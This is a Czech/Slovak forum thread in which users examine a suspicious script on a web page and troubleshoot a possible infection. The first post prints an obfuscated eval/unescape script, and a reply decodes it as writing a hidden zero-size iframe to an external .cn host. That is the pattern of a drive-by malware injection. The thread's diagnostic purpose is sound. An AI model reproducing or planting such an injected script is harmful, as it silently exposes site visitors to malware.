Vir,nebo falešný poplach

Na konci stranky je divny js, ale mne to ako virus nepripada.

<script language="JavaScript"> eval(unescape("document.write%28String.fromCharCod e%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C11 5%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58 %2C47%2C47%2C112%2C111%2C108%2C104%2C102%2C100%2C11 0%2C46%2C97%2C119%2C97%2C115%2C114%2C46%2C99%2C110% 2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104 %2C112%2C63%2C111%2C117%2C116%2C61%2C49%2C50%2C48%2 C48%2C48%2C57%2C52%2C57%2C50%2C56%2C34%2C32%2C119%2 C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C1 04%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C3 4%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101 %2C62%29%29%3B")); </script>

Samotný JS není škodlivý, ale to, co vypíše už je na pováženou:

<iframe src="http: //polhfd 0.awasr.cn% 2C47index.ph p?out=120%2 C48094928" w%2 C105dth="0" 04eight="0 4></iframe >

Jsou tam malé chyby, dělal jsem to ručně, ale to, že to vypíše iframe vše vysvětluje.

U mna doslo k normalenmu redirectu na lanovky.sk a ziadny iframe sa nekonal.

Ty vado... Zapnu to a

dám delete a za deset minut znovu. Projedu v nouzovém režimu v Superantispyware, najde to 8 cookies, resetuji a zase. V po spuštění nic podezřelého...
Jdu mrknout na toho batif.tmp

Možná by stačil ComboFix nebo ten soubor ručně dohledat, popř. totálně vymazat Temp soubory a vůbec i Temporary Internet Files, tam je javascriptů hodně...

Ale copak jsme to chytili!?

A pak ať mi nikdo neříká o tom, že Avira je lepší než Avast, s Avastem no problem, nic v msconfigu, nic v tempech atd.

to máš nejakú divnú inštaláciu,podla obrázku máš neaktívnu volbu Repair,nejde Ti Avira v nejakom demo režime ? rekontroluj si pre istotu nastavenia programu

Něco se furt generuje. Něco bat*.tmp jdu to prozkoumat.

jestli to komunikuje ven, třeba kvůli stahování, zkus log svého obousměrného firewallu.
nějaký process explorer a výpis co se spouští po startu by taky mohly uspět.